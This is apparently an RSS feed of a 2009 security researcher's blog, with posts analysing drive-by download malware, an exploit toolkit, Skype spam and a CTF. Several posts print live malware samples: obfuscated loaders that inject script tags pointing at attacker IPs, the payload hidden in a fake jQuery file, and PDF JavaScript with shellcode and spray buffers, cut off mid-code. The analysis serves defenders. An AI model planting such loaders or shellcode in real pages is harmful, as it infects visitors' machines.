<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss version="2.0"><channel><title>Marco's Blog</title><link>http://www.cs.ucsb.edu/~marco/blog/</link><description>Security, Code, Curiosity</description><language>en-us</language><copyright>Creative Commons Attribution-Noncommercial 3.0 United States License</copyright><managingEditor>marco@cs.ucsb.edu  (Marco Cova)</managingEditor><webMaster>marco@cs.ucsb.edu (Marco Cova)</webMaster><lastBuildDate>Wed, 06 May 2009 00:46:00 GMT</lastBuildDate><generator>PyRSS2Gen-1.0.0</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/ucsb/marco" type="application/rss+xml" /><item><title>JavaScript anti-analysis tricks: IE conditional compilation</title><link>http://www.cs.ucsb.edu/~marco/blog/2009/05/javascript-anti-analysis-tricks-ie-conditional-c.html</link><description>&lt;p&gt;An anti-analysis/fingerprinting trick I've noticed more and more
frequently in drive-by downloads is the use of IE conditional
compilation. &lt;/p&gt;

&lt;p&gt;&lt;a
href="http://msdn.microsoft.com/en-us/library/ahx1z4fs(VS.80).aspx"&gt;Conditional
compilation&lt;/a&gt; is a feature of Internet Explorer that enables the browser to
control the compilation of a script (that is, to include or exclude code to be
interpreted) depending on the values of a number of conditional compilation
variables. Predefined variables provide information about the client
environment, such as its processor, OS, and JavaScript version. Conditional
compilation statements are typically contained in regular JavaScript comments
to prevent problems with browsers that do not support this feature.&lt;/p&gt;

&lt;p&gt;Here is an example of how conditional compilation is used in drive-by
downloads:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="c"&gt;/*@cc_on @*/&lt;/span&gt;
&lt;span class="c"&gt;/*@if (@_win32)&lt;/span&gt;
&lt;span class="c"&gt;var source =&amp;quot;=tdsjqu!uzqf&amp;gt;#ufyu0kbwbtdsjqu#!tsd&amp;gt;#iuuq;00:6&amp;quot; +&lt;/span&gt;
&lt;span class="c"&gt;    &amp;quot;/23:/255/33:0tubut0tubut/kt#?=0tdsjqu?&amp;quot;;&lt;/span&gt;
&lt;span class="c"&gt;var result = &amp;quot;&amp;quot;;&lt;/span&gt;
&lt;span class="c"&gt;for(var i=0;i&amp;lt;source.length;i++)&lt;/span&gt;
&lt;span class="c"&gt;    result+=String.fromCharCode(source.charCodeAt(i)-1);&lt;/span&gt;
&lt;span class="c"&gt;document.write(result);&lt;/span&gt;
&lt;span class="c"&gt;/*@end @*/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;cc_on&lt;/code&gt; statement enables conditional compilation. The &lt;code&gt;@if&lt;/code&gt;
statement checks that the browser is running on a Win32 system. If this
is the case, then the following JavaScript block is interpreted,
otherwise it is simply ignored. The code block is a
classic deobfuscation routine that produces the following text:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;text/javascript&amp;quot;&lt;/span&gt; 
    &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://95.129.144.229/stats/stats.js&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This &lt;code&gt;script&lt;/code&gt; tag fetches a script that redirects to a number of pages serving 
exploits. &lt;/p&gt;

&lt;p&gt;What happens if the user's browser does not support conditional
compilation, for example, it is an analysis tool 
based on the stock SpiderMonkey or Rhino engines?
Then, it will simply consider the entire conditional compilation section
a comment and it will skip it. As a consequence, the malicious script tag will
not be added to the page, and, therefore, the subsequent exploits will
not be launched and will not be detected by the analysis tool.&lt;/p&gt;

&lt;p&gt;The &lt;a href="http://wepawet.cs.ucsb.edu/view.php?hash=32c7a12ecd8b06c34809e66f00cbeb4e&amp;amp;t=1241053642&amp;amp;type=js"&gt;full report for the
example&lt;/a&gt;
is available on Wepawet.&lt;/p&gt;
</description><category>javascript</category><category> malware</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2009/05/javascript-anti-analysis-tricks-ie-conditional-c.html</guid><pubDate>Wed, 06 May 2009 00:46:00 GMT</pubDate></item><item><title>JavaScript anti-analysis tricks: /textarea</title><link>http://www.cs.ucsb.edu/~marco/blog/2009/05/javascript-anti-analysis-tricks-textarea.html</link><description>&lt;p&gt;Malicious JavaScript code often relies on defensive mechanisms to evade
detection or to make its deobfuscation  more difficult. Some of these
methods have been well discussed (see, for example, the very nice presentations
&lt;a href="http://cansecwest.com/slides07/csw07-nazario.pdf"&gt;Reverse Engineering Malicious
Javascript&lt;/a&gt; by J. Nazario and 
&lt;a href="http://www.blackhat.com/presentations/bh-usa-08/Hoffman/Hoffman-BH2008-CircumventingJavaScript.ppt"&gt;Circumventing Automated JavaScript
Analysis&lt;/a&gt;
by B. Hoffman), but it's interesting to see how they are used.&lt;/p&gt;

&lt;p&gt;Some of the earliest defensive techniques are directed against the
manual analysis of malicious code. For example, a quick analysis
technique consists of wrapping the script's code into &lt;code&gt;textarea&lt;/code&gt; tags so
that deobfuscated code is written into the textarea and can be
quickly inspected and copy-and-pasted for further analysis. In this
case, the textarea is essentially used as a poor-man sandbox. Something
the bad guys figured out quickly was that all they needed to do to
defeat this technique was to close the textarea tag before performing
any other action.&lt;/p&gt;

&lt;p&gt;Somewhat surprisingly, this trick is still used from time to time. A few
months ago, a malicious script on ixfree.net contained the following
code:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;/textarea&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;78.110.175.21&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;195.24.76.251&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nx"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/\\bhgft=1/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;script&amp;gt;if(_)&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s2"&gt;&amp;quot;document.write(\\&amp;quot;&amp;lt;script id=_&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;_ src=//&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; + &lt;/span&gt;
&lt;span class="s2"&gt;            &amp;quot;&lt;/span&gt;&lt;span class="sr"&gt;/cp/&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; + navigator .appName.charAt(0) + &lt;/span&gt;
&lt;span class="s2"&gt;            &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;\\\\/&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;\\&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;)&amp;lt;\\/script&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;(see full report on
&lt;a href="http://wepawet.cs.ucsb.edu/view.php?hash=81deb72dcd0c5f545315753d6efe2652&amp;amp;t=1231197097&amp;amp;type=js"&gt;Wepawet&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;The code closes the textarea to escape its "sandbox", checks that a
cookie is not set, and then generates two script tags that redirect to
exploits. If you were to wrap this code into a textarea, you would end
up with an empty textarea and a wrong detection.&lt;/p&gt;
</description><category>javascript</category><category> malware</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2009/05/javascript-anti-analysis-tricks-textarea.html</guid><pubDate>Fri, 01 May 2009 10:23:00 GMT</pubDate></item><item><title>Malicious "jquery"</title><link>http://www.cs.ucsb.edu/~marco/blog/2009/04/malicious-jquery.html</link><description>&lt;p&gt;A social engineering trick that the people behind drive-by
downloads are using is that of hiding their malicious code in the middle
of benign, well-know code.&lt;/p&gt;

&lt;p&gt;For example, recently, a number of compromised web sites have found their
pages modified with iframes pointing at hxxp://94.247.2.195/jquery.js.
At a cursory inspection, jquery.js looks like the
&lt;a href="http://jquery.com/"&gt;jQuery&lt;/a&gt;  library, a
well-known (and definitely benign) JavaScript library. The code includes
the standard jQuery's copyright notice and revision information, and the
first 6K bytes or so are indeed identical to the original library's code. &lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="c"&gt;/*&lt;/span&gt;
&lt;span class="c"&gt; * jQuery JavaScript Library v1.3.1&lt;/span&gt;
&lt;span class="c"&gt; * http://jquery.com/&lt;/span&gt;
&lt;span class="c"&gt; *&lt;/span&gt;
&lt;span class="c"&gt; * Copyright (c) 2009 John Resig&lt;/span&gt;
&lt;span class="c"&gt; * Dual licensed under the MIT and GPL licenses.&lt;/span&gt;
&lt;span class="c"&gt; * http://docs.jquery.com/License&lt;/span&gt;
&lt;span class="c"&gt; *&lt;/span&gt;
&lt;span class="c"&gt; * Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009)&lt;/span&gt;
&lt;span class="c"&gt; * Revision: 6158&lt;/span&gt;
&lt;span class="c"&gt; */&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;g&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;jQu&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, the malicious code is hidden toward the end of the script,
where one finds:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;jquery_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; 
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/\\miek=1/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fq%3CssoWcOTHriDpgpsoWt...FH5rscDpgrRpiptRp%3E&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/soW|VV|U6k|rV|fq|OTH|H5r|Dpg|Rp/g&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/Z/&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;charAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;M&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nx"&gt;jquery_data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This code determines whether an attack has already been launched, by
checking the &lt;code&gt;jquery_data&lt;/code&gt; variable and the &lt;code&gt;miek&lt;/code&gt; cookie. If not, it 
deobfuscates a long string and writes it in the current page. The
deobfuscated string creates a new &lt;code&gt;script&lt;/code&gt; tag which points at
&lt;code&gt;hxxp://94.247.2.195/news/?id=&lt;/code&gt; The value of the &lt;code&gt;id&lt;/code&gt; parameter in the
script URL is 100 if the codename of the browser starts with the letter &lt;code&gt;M&lt;/code&gt;
(e.g., Firefox and Internet Explorer), 101 in all other cases. This
page, in turn, attempts to launch a number of exploits (see the &lt;a href="http://wepawet.cs.ucsb.edu/view.php?type=js&amp;amp;hash=8f39008bc3088b58c32e1c6f1559ae50&amp;amp;t=1239729478"&gt;Wepawet
report&lt;/a&gt;).
The exploits target vulnerabilities in MDAC, PDF, and SWF.&lt;/p&gt;

&lt;p&gt;It's certainly true: thing are not always what they seem...&lt;/p&gt;
</description><category>javascript</category><category> malware</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2009/04/malicious-jquery.html</guid><pubDate>Sun, 26 Apr 2009 21:25:00 GMT</pubDate></item><item><title>Yes exploit toolkit</title><link>http://www.cs.ucsb.edu/~marco/blog/2009/04/yes-exploit-toolkit.html</link><description>&lt;p&gt;It is well known that most drive-by downloads rely on exploit toolkits
to fingerprint the victim's browser, identify the right exploits to
launch, obfuscate the exploit code, and send it to the target. &lt;/p&gt;

&lt;p&gt;Different exploit toolkits compete with each other on several of
features. Obviously, the number and reliability of exploits. But also on
user friendliness and look and feel. As evidence of this, check the
interface of the Yes exploit toolkit:&lt;/p&gt;

&lt;p&gt;&lt;a href="images/blog/yes-toolkit.png"&gt;
&lt;img src="images/blog/yes-toolkit.png"
     class="figure-centered"
     alt="Interface of the Yes toolkit"
     title="Interface of the Yes toolkit (click for larger picture)"
     width="500" height="314"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No question, they spent some time on that desktop-like, web 2.0
interface...&lt;/p&gt;
</description><category>javascript</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2009/04/yes-exploit-toolkit.html</guid><pubDate>Fri, 03 Apr 2009 18:39:00 GMT</pubDate></item><item><title>Skype spam</title><link>http://www.cs.ucsb.edu/~marco/blog/2009/01/skype-spam.html</link><description>&lt;p&gt;Apparently years after everybody else, today I've got my first spam
message on Skype. Nothing too surprising: a funny named, scanty clothed
"spicy naked Dive-Teacher" abruptly but insistently invited me to visit
a dubious web site. My attempts to strike a conversation with her
failed miserably, as a consequence, I suppose, of my slow reaction to
her invitation. Oh, well.&lt;/p&gt;

&lt;p&gt;&lt;img src="images/blog/skype-spam.png"
     class="figure-centered"
     alt="Screenshot of the Skype spam message"
     title="Screenshot of the Skype spam message"
     width="500" height="236"/&gt;&lt;/p&gt;
</description><category>spam</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2009/01/skype-spam.html</guid><pubDate>Mon, 26 Jan 2009 23:16:00 GMT</pubDate></item><item><title>UCSB CTF 08</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/12/ucsb-ctf-08.html</link><description>&lt;p&gt;This Friday, we hosted the 2008 edition of the UCSB international
Capture The Flag (iCTF) competition. The iCTF is an 8-hour, distributed,
security exercise for University teams. This year, 39 teams from 9
countries participated.&lt;/p&gt;

&lt;p&gt;The theme of this year's edition was inspired by the &lt;i&gt;24&lt;/i&gt; TV
series. Each team had to break into a computer network controlled by a
criminal organization to prevent a bomb from exploding.  Each team had
access to a separate (but identical) version of the criminal's network.
Before reaching the host controlling the bomb, the teams had to
compromise a web server, a financial server, and a development site, for
a total of 7 services.  Besides the main services to break into, teams
had to solve 13 challenges in 4 categories (trivia, binary, forensics,
and reverse engineering) to gain points. Points could be used to buy
hints to break the services hosted on the network.&lt;/p&gt;

&lt;p&gt;The final ranking was based on whether a team completed the mission of
defusing the bomb and on the number of available points. The top 3 teams
were:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;ENOFLAG, Technische Universitaet Berlin, Germany&lt;/li&gt;
  &lt;li&gt;SiBears, Tomsk State University, Russia&lt;/li&gt;
  &lt;li&gt;KinkyKoders, UC Santa Barbara, USA&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Congratulations to ENOFLAG and all teams that participated in the
competition. See you again next year!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: more information and resources are available on
the &lt;a href="http://www.cs.ucsb.edu/~vigna/CTF/"&gt;official CTF page&lt;/a&gt;.&lt;/p&gt;
</description><category>wargames</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/12/ucsb-ctf-08.html</guid><pubDate>Sun, 07 Dec 2008 11:42:00 GMT</pubDate></item><item><title>Malicious PDFs</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/11/malicious-pdfs.html</link><description>&lt;p&gt;Lately, &lt;a href="http://community.ca.com/blogs/securityadvisor/archive/2008/11/10/yet-another-exploited-pdf-in-the-wild.aspx
" title="Yet Another Exploited PDF in the Wild [ca.com]"&gt;malicious
PDFs&lt;/a&gt;
are becoming &lt;a href="http://community.ca.com/blogs/securityadvisor/archive/2008/10/05/prevalence-of-exploited-pdfs.aspx
" title="Prevalence of Exploited PDFs [ca.com]"&gt;more
popular&lt;/a&gt;. They generally abuse
the JavaScript functionality that Adobe added to the PDF specification.
Luckily, it is not
too difficult to analyze these files, since, as we will see, they use pretty much
the same techniques that are used in malicious JavaScript code. 
I'll use as an example the
&lt;a href="http://www.virustotal.com/analisis/de1bddc90e47ac3391d51fb08f01df4a
" title="[virustotal.com]"&gt;us.pdf&lt;/a&gt; file,
which was used in a drive-by exploit attack hosted on 78.157.142.122.&lt;/p&gt;

&lt;p&gt;PDFs are generally compressed, 
so the first step is to uncompress the
file. To do this, I generally use the nice
&lt;a href="http://www.pdfhacks.com/pdftk/" title="pdftk &amp;ndash; the pdf toolkit
[pdfhacks.com]"&gt;pdftk&lt;/a&gt;  tool:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;pdftk us.pdf output us.clear.pdf uncompress
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, if you open us.clear.pdf, the JavaScript code is nicely readable
inside one of the objects defined by the document:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;what&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;what&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; 
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;%u9090%u9090%u9090%u9090%ueb90%u5e1a%u5b56%u068a&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;%u303c%u1674%ue0c0%u4604%u268a%ue480%u020f%u88c4&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;%u4303%ueb46%ue8e9%uffe1%uffff%u585e%u5c51%u5050&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;%u9090%u9090%u9090%u9090%u9090&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;viewerVersion&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;7.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;plin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1124&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u0b0b%u0028%u06eb%u06eb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u0b0b%u0028%u0aeb%u0aeb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u9090%u9090&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;122&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u0b0b%u0028%u06eb%u06eb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;sc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="nx"&gt;re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1256&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u4141%u4141&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; 
&lt;span class="k"&gt;else&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
